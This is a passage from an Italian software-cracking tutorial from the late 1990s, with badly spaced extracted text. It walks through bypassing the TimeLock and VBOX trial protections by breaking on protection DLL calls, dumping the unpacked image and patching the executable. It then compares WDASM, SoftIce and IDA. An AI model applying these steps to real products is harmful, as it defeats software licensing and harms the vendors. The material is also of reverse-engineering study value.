I nf at t i quest a DLL er a l i st at a t r a quel l e at t i ve al l at t i vazi one di ROSE. EXE.
Anche qui at t i vi amo ScanBi n e vedi amo qual i mer avi gl i e cont i ene.
I n quest a DLL t r ovi amo l oe f unzi onbi che vanno al egger e dent r o al r egi st r o.

Imported functions : e:\Programmi\Rational\tl31inj.dll
======================================================
........
ADVAPI32 301 RegOpenKeyA
ADVAPI32 302 RegOpenKeyExA
ADVAPI32 309 RegQueryValueA
ADVAPI32 310 RegQueryValueExA
........

I l codi ce, i ndi pendement e da quel l o che f a l a f unzi one, i l seguent e.

:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
:00955026 call eax
:00955028 ret 000C

Come pot et e veder e esi st e t r a l e pr i me i st r uzi oni l a chi amat a al si st ema del l a
pr ot ezi one.
L i ndi r i zzo del l a seconda cal l speci f i cat o i n eax i l cui val or e si cur ament e
set t at o dal l a f unzi one chi amat a pr ecedent ement e.
Nel caso i n cui i l t empo di pr ova si a super at o l i ndi r i zzo del l a cal l i n eax
r el at i vo a quel l o di un Exi t Pr ocedur e.
Se non f osse scadut o si cur ament e sar ebbe st at o quel l o di un ent r y poi nt gi ust o.
I n condi zi oni nor mal i , se si f osse anal i zzat o e vi st o dove veni va i nvi at a l a
cal l , appena i nst al l at o i l sof t war e magar i s sar ebbe pot ut a scr i ver e una pat ch
cambi ando l a pr i ma cal l con quel l a gi ust a.
Or a che i l sof t war e scadut o si pu sol o segui r e l a DLL e veder e dove
memor i zzat a l a dat a.
La DLL qui ndi deve esser e car i cat a e debuggat a.
E qui l a vi t a si compl i ca i n quant o vi ene f at t o al l i nt er no un gi oco si mi l e a
quel l o che avevo most r at o con i punt at or i a f unzi one i n cui i n un ar r ay veni va
messo i l codi ce esadeci mal e di i st r uzi oni assembl er e poi l i ndi r i zzo di quest o
ar r ay veni va, medi ant e un cast , assegnat o ad un punt at or e a f unzi one.
I n quest o caso vengono i nser i t i codi ci ed i ndi r i zzi dent r o al l o st ack e
successi vament e l i ndi r i zzo del l o st ack vi ene i nser i t o come vet t or e di un
i nt er r upt .
Con pr eci si one quest o i ndi r i zzo vi ene sal vat o al l i ndi r i zzo f s: 00000000.
Ri pr endi amo i l codi ce di pr i ma.

:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
:00955026 call eax
:00955028 ret 000C

Tr ami t e l e f i nest r e di wat ch di WDASM di amo un occhi at a a come si t r ova l o st ack
pr i ma del l a cal l ( a f i anco ho i nser i t o i l push che l o ha gener at o) .

[esp+00000000] - e1f34295 .B.. - :00955016 push E1F34295
[esp+00000004] - 63b51c5c \..c - :00955011 push 63B51C5C
[esp+00000008] - e6b0a125 %... - :0095500C push E6B0A125
[esp+0000000C] - 00000000 .... - :00955008 push [esp+0C]
[esp+00000010] - 815fb5ac .._. - :00955008 push [esp+0C]
[esp+00000014] - 00a80000 .... - :00955008 push [esp+0C]

La f unzi one Pl easeTr aceI nt oMe_Mr Cr acker cont i ene al l i ni zi o :

?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z()
:10013F20 mov eax, dword ptr fs:[00000000] - SALVA IL VALORE
:10013F26 push ebp
:10013F27 mov ebp, esp
:10013F29 push FFFFFFFF
:10013F2B push 10015E8E
:10013F30 push eax
:10013F31 mov dword ptr fs:[00000000], esp - E ORA LO SOSTITUISCE
:10013F38 mov eax, 00006768
:10013F3D sub esp, 00000004
:10013F40 call TL31INJ.10029CB0

Pr endi amo l o st at o del l o st ack pr i ma del l i st r uzi one : 10013F31 mov dwor d pt r
f s: [ 00000000] , esp che sal va ad un cer t o i ndi r i zzo quel l o del l o st ack.
Lo st at o del l o st ack or a

[esp+00000000] - 00b8ff68 h... :10013F30 push eax
[esp+00000004] - 10015e8e .^.. :10013F2B push 10015E8E
[esp+00000008] - ffffffff .... :10013F29 push FFFFFFFF
[esp+0000000C] - 00b8ff78 x... :10013F26 push ebp
[esp+00000010] - 00955021 !P.. INDIRIZZO DI RITORNO MESSO DALLA CALL
CORRISPONDE ALLA PUSH FFFFF DOPO LA CALL
A PleaseTraceIntoMe_MrCracker
[esp+00000014] - e1f34295 .B.. FINO A QUESTO PUNTO LO ABBIAMO VISTO
[esp+00000018] - 63b51c5c \..c
[esp+0000001C] - e6b0a125 %...
[esp+00000020] - 00000000 ....
[esp+00000024] - 815fb5ac .._.
[esp+00000028] - 00a80000 ....


I n cont r apposi zi one ad al cune DLL eccessi vament e compl esse ne esi st ono di t r oppo
scont at e.
Ad esempi o un cer t o pr ogr amma xxxx. exe vi ene car i cat o con WDASM e dopo aver
guar dat o qual i DLL er ano col l egat e ne r i sul t ava sol o una appar t enent e al
pr ogr amma.

ADVAPI32.DLL
COMCTL32.DLL
COMDLG32.DLL
GDI32.DLL
KERNEL32.DLL
MPR.DLL
OLE32.DLL
OLEAUT32.DLL
SHELL32.DLL
SHRLK21.DLL ----------- QUESTA
USER32.DLL
WINMM.DLL

Guar dando con ScanBi n dent r o a quest a DLL veni va f uor i :

Exported functions : c:\Windows\SYSTEM\ShrLk21.dll
==================================================
0 GetDriveNumber
1 GetStatus
2 GetDLLVersion
3 DoRegistration
4 PassHandle
5 ShowAboutDialog
6 GetSerialNumber
7 GetUserCompanyName
8 GetUserName
9 GetExpirationDate
10 GetTryNumber
11 InputUnlockCode
12 GetTrialPeriodRemaining
13 CheckProtectionDLL

Chi ar ament e sal t a subi t o al l occhi o Get Expi r at i onDat e.
Cl i ckando sul l a DLL i n WDASM vi ene r i chi est o se l egger e l a DLL.
Dopo aver l a l et t a anal i zzando l e f unzi oni i mpor t at e vengono most r at e appunt o
quel l e f unzi oni .

CheckProtectionDLL
DoRegistration
GetDLLVersion
GetDriveNumber
GetExpirationDate
GetSerialNumber
GetStatus
GetTrialPeriodRemaining
GetTryNumber
GetUserCompanyName
GetUserName
InputUnlockCode
PassHandle
ShowAboutDialog
ShowAboutDialog

Met t o subi t o n br eakpoi nt su Get Expi r at i onDat e e mando i n esecuzi one i l
pr ogr amma.
Spesso quest e f unzi oni cosi vi st ose, se cos si pu di r e, sono sol o specchi et t i
per l e al l odol e.
Se voi dovest e scr i ver e del l e f unzi oni per pr ot egger e un vost r o pr ogr amma gl i
dar est e dei noi cosi ?
Comunque pr ovar e non cost a nul l a.
Gener al ment e se sono f unzi oni per cr ear e conf usi one non vengono neppur e
chi amat e, per cui met t endo dei br eakpoi nt s non vi f er mer et e mai i n quei punt i .
Usando Sof t I ce dovr et e i nt er veni r e nel f i l e wi ni ce. dat aggi ungendo l a l i nea :

EXP=<drive:><dir>\file.dll

Chi ar ament e dopo aver i nser i t o quest a aggi unt a dovr et e r eset t ar e e r i l egger e
Sof t I ce.


VBOX INTORNO ALLA VERSIONE 4.xx


Una del l e pr ot ezi oni pi f amose si cur ament e VBOX l a qual e esegue una codi f i ca
sui f i l e che pr ot egge.
I l t er mi ne pr ot ezi one non adat t o i n quant o di f at t o VBOX quel l a che vi ene
chi amat a TI MELOCK ovver o quel modul o che per met t e di ut i l i zzar e i l pr ogr amma per
X gi or ni .
I n uno dei capi t ol i pr ecedent i abbi amo vi st o di ver se ut i l i t i es t r a cui al cuni
Dumper .
I l bypass di VBOX necessi t appunt o di una di quest e ut i l i t y t i po Sof t Dump.
I l cr acki ng del codi ce con Ti meLock si esegue i n t r e passi :

1) Con softice si passa sopra alle chiamate alle DLL tl*inj.dll e ci si scrive a
mano da qualche parte il valore di eax l entry point reale.

2) Con SoftDump si salva in un file una porzione di codice sufficientemente
lungo partendo dal punto precedente.

3) Eseguire la patch di questo codice dentro all EXE

Con VBOX l a pr ocedur a si mi l e ma un po pi compl essa.
I f i l e pr ot et t i con VBOX mant engono l o st esso nome del l or i gi nal e ma cambi a
qual che cosa nel l a st r ut t ur a.
Di f f er ent ement e dai val or i degl i usual i . r el oc e . r sr c esso ha una sezi one
PREVI EWpur ament e vi r t ual e e una sezi one Wei j unLi l a qual e cont i ene al cune l i nee
di codi ce e i dat i packat i .
La pr ot ezi one compost a da t r e DLL: vboxp40, vboxb40 e vboxt 40 di cui sol o l a
pr i ma nor mal e ment r e l e al t r e due sono packed.
Quando i l pr ogr amma pr ot et t o par t e r i chi ama vboxp40.PreviewExecGate_By_WeijunLi
l a qual e esegue l unpack del l i mmagi ne del pr ogr amma or i gi nal e cr eando l a
sezi one PREVI EW.
Essa esegue anche l unpack di al cune al t r e pi ccol e sezi oni che eseguono del l e
chi amat e al l uni cha f unzi one espor t at a da vboxb40. dl l l e qual i esegue a sua
vol t a una cal l a vboxt40.PreviewParadise_WJ.
Per cr ackar e VBOX suf f i ci ent e at t ender e che quest a f acci a una par t e del
l avor odi unpacki ng e decr ypt i ng, sal var e
l i mmagi ne con Sof t Dump e at t accar e un
nuovo header PE f at t o da noi .
VBOX deve esegui r e l a f unzi one di l et t or e
di se st esso, pr ocessar e l a sezi one
. i dat a, l egger e i modul i Get Pr ocAddr ess
ecc.
Da quest o punt o i ni zi a i l l avor o ver o e
pr opr i o.
Le i nf or mazi oni sugl i ogget t i i mpor t at i
sono pr epr ocessat i e sal vat i i n f i l e f i l es
separ at i i n f or ma f or t ement e encr ypt at a.
Sol t ant o quando una passa t ut t i i checks
al l or a l e i nf or mazi oni i ni zi ano ad esser e
pr ocessat e e l a t abel l a degl i i ndi r i zzi
i mpor t at i del l a sezi one . i dat a vengono
r i empi t i con gl i i ndi r i zzi r eal i .
Cos i cont enut i or i gi nal i del l a sezi one
. i dat a non sono mai esaust or at i e qui ndi
l i ni zi al e pi ano di at t acco deve esser e mut at o.
Bi sogna di r e che anche i n quest o caso l e i nf or mazi oni pot r ebber o val er e sol o
come pr i nci pi o dat o che quest e met odol ogi e sono i n cont i nua evol uzi one.
Chi ar ament e i met odi per l a spr ot ezi one vengono pubbl i ci zzat e per cui ,
dal l al t r a par t e, i pr oget t i st i di quest i si st emi cont i nuano ad evol ver e i l or o
sof t war e.
Tr a l e var i e evol uzi oni possono esser ci si st emi adat t i a r i nt r acci ar e i
debugger , di ver si met odi di codi f i ca i n modo che pr ogr ammi come cer t i
DUMPER/ DECODER non f unzi oni no e cosi vi a.
Nel l e ver si oni i nt or no al l a 4. x di VBOX i l concet t o sul f unzi onament o di quest o
er a, come spi egat o pr i ma, pi sempl i ce.
Nel l a vecchi a ver si one di VBOX esi st eva una chi amat a ad una f unzi one che
esegui va l a decodi f i ca di quant o codi f i cat o e che r i t or nando cont eneva i n EAX
l i ndi r i zzo del l a f unzi one di dove er a i l pr ogr amma o del l a f unzi one di Exi t .
I l codi ce somi gl i ava a :

call 00462345
push 0FFFFFFF
call eax

La f unzi one che esegui va l unpack er a
quel l a speci f i cat a a 00462345.
Nel l e ul t i me ver si oni l e cose sono
cambi at e t ant o che sof t war e come
Sof t I ce necessi t ano di par t i col ar i
modi f i che al f i ne di nasconder e i l
debugger st esso a VBOX.
Fr ogI CE pu ser vi r e a nasconder e
Sof t I ce.
Fr ogI ce deve esser e di sabi l i t at o ment r e
si l egge i l pr ogr amma con i l l oader di
Sof t I ce i n quant o nasconder ebbe anche
al l oader l o st esso.
Quel l a che segue l a mascher a che vi ene f uor i con Sof t I ce.
Se si cer ca di l egger e l e i nf or mazi oni r i por t at e da al cuni pr ogr ammi come
ScanBi n si ha come r i spost a :

General informations : e:\Programmi\DeepPaint\DeepPaint.exe
===========================================================
Last update : 10/10/99
File size : 196 608 byte(s)
Module type : not DOS or WINDOWS executable

Anche WDASM nel l ul t i ma ver si one di VBOX cr ea pr obl emi f i n dal l i ni zi o.
Ef f et t i vament e esi st e una di f f er enza buona t r a i l codi ce cr eat o t r a WDASM e
quel l o gener at o da I DA.

:007571E2 or eax, esp
:007571E4 xor eax, esp
:007571E6 xor eax, ebp
:007571E8 or eax, ebp
:007571EA xor ah, al
:007571EC xor eax, ebp
:007571EE xor eax, ebp
:007571F0 mov eax, ebp
:007571F2 xor eax, ebp
:007571F4 mov eax, ebp
:007571F6 dec eax

I l codi ce si r i f er i sce ad una nuova ver si one di VBOX con cui WDASM f a a bot t e.
I l codi ce gener at o da I DA i nvece :

PREVIEW:00401000 ; File Name : E:\Programmi\DeepPaint\DeepPaint.exe
PREVIEW:00401000 ; Format : Portable executable (PE)
PREVIEW:00401000 ; Section 1. (virtual address 00001000)
PREVIEW:00401000 ; Virtual size : 00355A24 (3496484.)
PREVIEW:00401000 ; Section size in file : 00000000 ( 0.)
PREVIEW:00401000 ; Offset to raw data for section: 00000000
PREVIEW:00401000 ; Flags E0000020: Text Executable Readable Writable
PREVIEW:00401000 ; Alignment : 16 bytes ?
PREVIEW:00401000 ; Exported entry 332. ?MemSize@CDIBLite@@QAEHXZ
PREVIEW:00401000
PREVIEW:00401000 p586
PREVIEW:00401000 model flat
PREVIEW:00401000
PREVIEW:00401000 ; Segment type: Pure code
PREVIEW:00401000 PREVIEW segment para public 'CODE' use32
PREVIEW:00401000 assume cs:PREVIEW
PREVIEW:00401000 ;org 401000h
PREVIEW:00401000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:n
ot
PREVIEW:00401000 public ?MemSize@CDIBLite@@QAEHXZ
PREVIEW:00401000 ; public: int __thiscall CDIBLite::MemSize(void)
PREVIEW:00401000 ?MemSize@CDIBLite@@QAEHXZ dd 4 dup(?)
PREVIEW:00401010 ; Exported entry 10. ??0CDIBLite@@QAE@AAV0@@Z
PREVIEW:00401010 public ??0CDIBLite@@QAE@AAV0@@Z

WeijunLi:00757000 ; Section 2. (virtual address 00357000)
WeijunLi:00757000 ; Virtual size : 00138A04 (1280516.)
WeijunLi:00757000 ; Section size in file : 00138A04 (1280516.)
WeijunLi:00757000 ; Offset to raw data for section: 00000400
WeijunLi:00757000 ; Flags E2000060: Text Data Discardable Executable Readable
Writable
WeijunLi:00757000 ; Alignment : 16 bytes ?
WeijunLi:00757000 ; Segment type: Pure data

WeijunLi:00757000 WeijunLi segment para public 'DATA' use32
WeijunLi:00757000 assume cs:WeijunLi
WeijunLi:00757000 ;org 757000h
WeijunLi:00757000 db 8Ah ;
WeijunLi:00757001 db 11h ;

Dent r o al l a sezi one Wei j unLi esi st e l o START l a cui ul t i ma i st r uzi one
compr ensi bi l e equi val e al sal t o al l a r out i ne loc_757241.
Dopo i l sal t o e pr i ma di t al e r i f er i ment o esi st ono sol o dat i non i dent i f i cat i
come i st r uzi oni .


; _______________ S U B R O U T I N E _______________________________________


public start
start proc near
sub eax, ebp
or eax, ebp
xor eax, eax
mov eax, ebp
xchg ah, al
or eax, esp
xor eax, esp
xor eax, ebp
or eax, ebp
xor ah, al
xor eax, ebp
xor eax, ebp
mov eax, ebp
xor eax, ebp
mov eax, ebp
dec eax
xor eax, ebp
jz short $+2
dec eax
dec eax
sub eax, ebp
mov eax, fs
jz short $+2
xor eax, eax
inc eax
jnz short $+2
sub eax, ebp
jnz short $+2
jmp short loc_757241

Come possi bi l e veder e i l codi ce sal t a al l a f i ne a l oc_757241.

; ---------------------------------------------------------------------------

loc_757241: ; CODE XREF: start+34j
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push esi
push edi
mov esi, offset unk_757054
mov eax, [ebp+8]
mov [esi+54h], eax
push dword ptr [ebp+0Ch]
pop dword ptr [esi+58h]
mov eax, [ebp+10h]
mov [esi+5Ch], eax
push esi
call sub_757271
pop edi
pop esi
leave
retn 0Ch
start endp ; sp = 4

; ---------------------------------------------------------------------------



DIFFERENZE TRA I VARI DISASSEMBLATORI

Abbi amo vi st o l e car at t er i st i che di var i pr ogr ammi consi der at i come i f er r i del
mest i er e per i l cr acki ng.
Si cur ament e t ant i pr ogr ammi , anche i ndi spensabi l i , possono esser e consi der at i
col l at er al i ma si cur ament e i debugger / di sassembl at or i sono quel l i f ondament al i .
Ne esi st e, coma abbi amo vi st o, un ampi a scel t a, t ut t i c0on car at t er i st i che
si mi l i ma spesso con f unzi oni uni che.
Qual i sono i mi gl i or i e qual i convi ene usar e ?
Una r i spost a cer t a non esi st e pr opr i o per i l f at t o che al cune f unzi oni , ut i l i i n
cer t i casi , sono pr esent i sol o i n al cuni di quest i e qui ndi l a val ut azi one deve
esser e f at t a caso per caso.
La sol uzi one mi gl i or e quel l a di di spor r e di t ut t i e di usar e al moment o gi ust o
quel l o che possi ede l e car at t er i st i che mi gl i or i per quel moment o.
Bi sogna subi t o di st i nguer e l a di f f er enza f ondament al e.
Esi st ono debugger che per met t ono di esegui r e st ep by st ep i l codi ce ed esi st ono
di sassembl at or i che i nvece cr eano i sor gent i i n assembl er del pr ogr amma i n
quest i one.
WDASM ad esempi o un debugger / di sassembl at or e i n quant o svol ge t ut t e e due l e
f unzi oni .
I DA i nvece un pot ent e di sassembl at or e.
Sof t I ce un debugger e cosi vi a consi der ando SOURCER, Wi nDbg ecc.
Vedi amo i debugger per capi r e qual i sono l e di f f er enze sost anzi al i .
La val i di t di un debugger non t ant o i l modo con cui r i esce a r i cr ear e i l
sor gent e ( i n f ase di debug aver e r i cost r ui t e l e st r ut t ur e, l e di r et t i ve ecc. non
par t i col ar ment e i nt er essant e) .
Da par t e di un debugger i nvece da consi der ar e l a var i et dei met odi di
vi sual i zzazi one dei dat i e quel l a dei br eakpoi nt di sponi bi l i .
Esi st ono debugger che per met t ono di set t ar e br eakpoi nt mol t o sempl i ci come ad
esempi o quel l i r el at i vi ad un i ndi r i zzo speci f i co ( f er mat i quando quest a
i st r uzi one vi ene esegui t a) ma non di spongono di al t r i che per met t ono di
i dent i f i car e event i par t i col ar i .
Ad esempi o Sof t I ce che si cur ament e quel l o pi compl esso per l a var i et di
br eakpoi nt che possi ede per met t e di set t ar e br eakpoi nt condi zi onal i sf r ut t ando
un suo l i nguaggi o, br eakpoi nt su messaggi speci f i ci di Wi ndows, sul l a chi amat a
di par t i col ar i f unzi oni i mpor t at e ecc.
WDASM i nvece mol t o pi sempl i ce come var i et per met t endo sol o al cuni
br eakpoi nt su chi amat e ad Api di Wi ndows, su cer t e l i nee e pochi al t r i t i pi .
Esi st e un' al t r a di f f er enza sost anzi al e t r a WDASM e Sof t I ce.
I l secondo un debugger di si st ema.
Che cosa si gni f i ca quest o ?
Quando i n WDASM car i cat e un pr ogr amma i l sor gent e assembl er vi sual i zzat o, quel l o
che pot et e segui r e, sol t ant o r el at i vo a quest o e qui ndi anche i br eakpoi nt
pot et e i nser i r l i sol o su quest o.
Sof t I ce i nvece essendo di si st ema vi most r a i l codi ce che i l si st ema st
eseguendo i n quel caso.
Wi ndows possi ede mol t i ssi mi pr ocessi at t i vi i n concor r enza compr esi i suoi
i nt er ni come quel l i ad esempi o dest i nat i a gest i r e i l mul t i t aski ng.
Quando voi chi amat e Sof t I ce pot r est e aver e l a vi sual i zzazi one del codi ce che st a
eseguendo i n quel i st ant e che pot r ebbe esser e anche r el at i vo a f unzi oni sue del
si st ema oper at i vo, di dr i ver s ecc.
Sof t I ce di spone di una gr ossa gamma di f unzi oni l egat e al l a vi sual i zzazi one di
i nf or mazi oni .
Ad esempi o esi st ono i comandi per vi sual i zzar e i dat i dei TASKS at t i vi , dei
pr ocessi , del l e Wi ndows ecc.
Nei comandi di cr eazi one dei br eakpoi nt Sof t I ce di spone del l a possi bi l i t di
speci f i car e t r a i par amet r i i val or i dei t asks, pr ocessi o wi ndows a cui vol et e
che si a r i f er i t o quest ul t i mo.
Gener al ment e pot r est e chi eder e che l esecuzi one venga sospesa nel l i st ant e i n
cui vi ene chi amat o un messaggi o WM_DESTROY, ad esempi o.
Si . Ma a qual e f i nest r a vi i nt er essa che si a r i f er i t o i l messaggi o ?
I n quel l i st ant e pot r ebber o esser ci di ver se f i nest r e at t i ve.
Medi ant e i l comando HWND pot r est e r i chi eder e d aver e l i st at i gl i handl es del l e
wi ndows at t i ve e successi vament e ut i l i zzar e i l val or e r el at i vo a quel l a che vi
i nt er essa per set t ar l o come par amet r o.
Speci f i cando :

BMSG 00CE WM_DESTROY

Speci f i cher est e che i l si st ema dovr ebbe i nt er r omper e l esecuzi one nel caso i n
cui si ver i f i chi un messaggi o WM_DESTROY r el at i vo al l handl e del l a Wi ndow 00CE.
Chi ar ament e un debugger come Sof t I ce enor mement e pi pot ent e di WDASM ma anche
mol t o pi compl esso t ant o che spesso e vol ent i er i WDASM mol t o pi i ndi r i zzat o
a svol ger e cer t e f unzi oni .
A vol t e usar e un cami on i n ci t t di vent a pi compl esso che usar e un 500.
WDASM i nol t r e di spone di una ser i e di f i nest r e i n cui l e i nf or mazi oni necessar i e
sono ben st r ut t ur at e e vi sual i zzat e dent r o a quest e senza che dobbi at e
r i chi eder e medi ant e comandi l a vi sual i zzazi one di cer t e i nf or mazi oni .
Spesso i sor gent i assembl er f anno r i f er i ment o ai r egi st r i ut i l i zzat i con val or i
d i ndi ce.

Mov eax+10h, 34h

WDASM di spone di t ut t i i val or i r el at i vi ai r egi st r i i una comodi ssi ma f i nest r a.
Sof t I ce i nvece deve r i chi eder e sempr e con i comandi speci l i zzat i l a
vi sual i zzazi one del l e i nf or mazi oni di quest o t i po.
Spesso l a r i cost r uzi one del sor gent e r i chi ede di ver si passaggi da apar t e
del l anal i zzat or e.
WDASM pr i ma di vi sual i zzar e i l sor gent e esegue un anal i si ment r e Sof t I ce
vi sual i zza br ut al ment e l a memor i a come l a vede i n quel l i st ant e.
I nf at t i WDASM si r i f er i sce ad un sol o pr ogr amma per cui pr i ma di i nzi ar e
l esecuzi one pu per met t er si di esegui r e l e var i e passat e r el at i ve al l a
r i cost r uzi one del sor gent e assembl er .
Sof t I ce r i f er endosi a t ut t o i l sof t war e i memor i a non pu f ar e al t r o se non
vi sual i zzar e un br ut al e assembl er con al massi mo l a sof f i st i cazi one di
vi sual i zzar e i l nome del segment o! nomedel l af unzi one i nvece del l i ndi r i zzo,
dent r o ad una cal l o ad un sal t o.
Nel capi t ol o r el at i vo al l a pr ef azi one al l e r i cer che abbi amo par l at o sul l a t eor i a
gener al e l egat a a cosa cer car e per i ndi vi duar e cer t e f unzi oni .
Al cune vol t e, abbi amo vi st o, l a vi t a sempl i ce per ch medi ant e l a r i cer ca di
sempl i ci Get Dl gI t emText i dent i f i chi amo subi t o dove sono posi zi onat e l e r out i nes
r el at i ve al l a ser i al i zzazi one di un pr ogr amma.
I n quest o caso l ut i l i zzo di WDASM da consi gl i ar e r i spet t o a Sof t I ce.
Al t r e vol t e l a vi t a di vent a compl i cat a e l i ndi vi duazi one di cer t e f unzi oni deve
esser e esegui t a t r ami t e br eakpoi nt mol t o compl essi cose che WDASM non possi ede.
I n quest o caso Sof t I ce di vent a i ndi cat o.
I n al t r e par ol e si deve r i pet er e l a met af or a che ho ut i l i zzat o poco pr i ma.
Se dovet e f ar e un l avor o mol t o pesant e al l or a usat e un cami on t enendo pr esent e
che avr et e di f f i col t a f ar e manovr e.
Se i nvece i l l avor o si pr esent a sempl i ce pr endet e un ut i l i t ar i a.
Avr et e l a vi t a pi sempl i ce.
Sof t I ce per met t e l a cr eazi one di di ver si t i pi di br eakpoi nt di ver si f i candol i
anche per t i po di ut i l i zzo di quest i .
I nnanzi t ut t o l a gest i one dei br eakpoi nt per met t e che quest i vengano cr eat i da
al t r i br eakpoi nt .
Cost r ut t i t i po :

bpx addr do bpx addr

per met t ono di cr ear e i l secondo br eakpoi nt quando si ver i f i ca i l pr i mo.
Una del l e di f f er enze maggi or i st nel f at t o che gener al ment e i br eakpoi nt
vengono set t at i sul l esecuzi one di speci f i ci i ndi r i zzi di memor i a.
Sof t I ce per met t e di speci f i car e se i br eakpoi nt s devono esser e set t at i sul l a
l et t ur a, scr i t t ur a o esecuzi one degl i speci f i ci i ndi r i zzi .
Sof t I ce i nol t r e per met t e di gener al i zzar e i br eakpoi nt r el at i vi a cer t e f unzi oni
i mpor t at e.
I n al t r e par ol e possi bi l e speci f i car e di f er mar e l esecuzi one nel caso di una
chi amat a ad una f unzi one con :

bpx GetDlgItemTextA

I n WDASM i nvece possi bi l e r i chi amar e l a f i nest r a del l e f unzi oni i mpor t at e e
cl i ckando sul l e f unzi oni desi der at e posi zi nar si su ci ascuna di quest e nel punt o
dove sono si t uat e nel pr ogr amma i nser endo i br eakpoi nt dove si vul e.
Se nel pr ogr amma esi st ono 50 r i chi ami ad una speci f i ca f unzi one sar necessar i o
cl i ckar e 50 vol t e posi zi onandosi su ci ascuna di quest e e set t ando dove si vuol e
i l br eakpoi nt .
Vol endo r i assumer e i vant aggi e gl i svant aggi di WDASM e di SOFT I CE :

WDASM SOFTI CE
Vi sual i zzazi one dei val or i dei r egi st r i
+ i ndi ci i n una comoda wi ndow.
Vi sual i zzazi one dei val or i da
r i chi eder e t r ami t e comandi .
Numer o di val or i vi sual i zzabi l i
st abi l i t i da quel l i i n una f i nest r a con
due val or i ut ent e r eal t i vi ad i ndi r i zzi
di memor i a speci f i cabi l i al moment o.
Numer o i l l i mi t at o di val or i
vi sual i zzabi l i i n var i e f i nest r e dat i .
Sor gent e assembl er el abor at o i n pi
passaggi e qui ndi abbast anza
det t agl i at o.
Sor gent e assembl er br ut al e l egat o al
codi ce i n memor i a.
Br eakpoi nt l i mi t at i a numer o di l i nea
del l i st r uzi one.
Br eakpoi nt l egat i al l a chi amat a di API
wi ndows.
Ti pi di br eakpoi nt el evat o cr eat i anche
t r ami t e l i nguaggi o di Sof t I ce che
per met t e l acr eazi one di br eakpoi nt
condi zi onal i .
I br eakpoi nt sono l a f or za di Sof t I ce.
Vi sual i zzazi one sol t ant o del codi ce del
pr ogr amma r i chi est o.
Vi sual i zzazi one di t ut t o i l codi ce nel
si st ema.
Possi bi l i t di sal var e i l sor gent e. Sor gent e non sal vabi l e.

I n quest a panor ami ca non ho pr eso i n consi der azi one al t r i debugger per ch t r oppo
amat or i al i oppur e per ch i ndi r i zzat i ai sor gent i .
Mi r i f er i sco ai debugger f or ni t i con i l i nguaggi Bor l and e Mi cr osof t che
di spongono di t ant e f unzi oni da usar e con i pr opr i l i nguaggi medi ant e
compi l azi one debug di quest i e qui ndi con l e i nf or mazi oni si mbol i che i nt er ne.
Tr a quest i t r ovi amo
cool DB32 i l qual e
i ncor por a al suo
i nt er no di ver se
ut i l i t i es

qual i un HexVi ewer ,
un Dump e un
di sassembl er .
Ri cor do sempr e che l a
di f f i col t i n quest o
set t or e quando si
ha a che f ar e con
si st emi packat i per
cui l ut i l i zzo del
sempl i ce debugger non
suf f i ci ent e o
per l omeno non cos
sempl i ce come pot r ebbe
esser l o con un al t r o
pr ogr amma.
Or a pr endi amo i n vi si one i di sassembl at or i e pr eci sament e WDASM, I DA e SOURCER.
WDASM l o abbi amo gi vi st o
par l ando del l a sua par t e
debugger .
Sour cer si cur ament e uno dei
pi vecchi .
Me l o r i cor do al meno dal 1987
quando er a si cur ament e uno dei
pochi ssi mi ( se non l uni co) .
I n t ut t i quest i anni ha
mant enut o l a st essa
i nt er f acci a i n ambi ent e DOS
nel l a qual e possi bi l e
speci f i car e t ut t i i par amet r i
r eat i vi al l a met odol ogi a di
vi sual i zzazi one e di anal i si dei
pr ogr ammi .
La t r aduzi one dei sor gent i assembl er
r el at i vi a pr ohgr ammi Wi ndows deve
avveni r e medi ant e due pr ogr ammi f or ni t i
nel pacchet t o.
I l pr i mo esegue una pr i ma anal i si di
quest o t i po di pr ogr ammi .
WI NP esegue un pr epr ocessi ng del f i l e
esegui bi l e eseguendo i l dump NE e usando
f i l e . DTA f or ni t i con i l pacchet t o per l a
cr eazi one di un modul o ut i l i zzabi l e da
SOURCER ver o e pr opr i o.
I l pr ogr amma cr eat o pr ende l est ensi one
WDF.
SOURCER di spone di al cuni f l ag che per met t ono di speci f i car e i l f or mat o del f i l e
ot t enut o ( . l st o . asm) , di speci f i car e i l t i po di f or mat t azi one e l e
i nf or mazi oni r i por t at e ( codi ci oper at i vi a f i anco i st r uzi oni ecc. )
I nol t r e possi bi l e set t ar e mol t i f l ags r el at i vi al t i po di anal i si esegui t a.
Nel l a mascher a pr i nci pal e i l comando ( T) per met t e di speci f i car e i l TARGET
ASSEMBLER che pu esser e r el at i vo a MASM 5. 0, MASM6. 1, TASM e t ant i al t r i .
E i nol t r e possi bi l e speci f i car e i l numer o di passat e ( f at e at t enzi one che un
numer o maggi or e non eui val e ad una mi gl i or i nt er pr et azi one) , i l t i po del
pr ocessor e e t ant e al t r e cose.
I l RE comunque r i mane I DA che possi bi l e t r ovar e i n t ant e ver si oni t r a cui una
di dat t i ca FREEWARE.
Chi ar ament e non ho mai par l at o del l a di f f i col t di r eper i r e i l sof t war e i n
quant o penso che si a pr opr i o l ul t i mo dei pr obl emi .
I DA f ant ast i co.
I n t ut t i i l avor i ho sempr e cr eat o un ser gent e con I DA di cui l e par t i pi
si gni f i cat i ve l e ho st ampat e.
I par amet r i r el at i vi al l a cr eazi one dei sor gent i sono svar i at i come svar i at e
sono anche l e f unzi oni per l a vi sual i zzazi one e l a r i cer ca di cer t i punt i .
Quest o a f i anco un col l age con l e pr i nci pal i opzi oni pr esent i nei menu di I DA
3. 84 ( l ul t i ma al l a dat a di set t embr e 1999) .
I DA, non mi st anco di
r i pet er l o, si cur ament e i l
mi gl i or e come di sassembl at or e.
La r i cost r uzi one del sor gent e
assembl er i mpeccabi l e e
pr eci sa.
Nessun di sassembl at or e f i no ad
or a vi st o r aggi unge una si mi l e
pr eci si one.
Fat e at t enzi one che par l ando di
di sassembl at or i pot r emmo
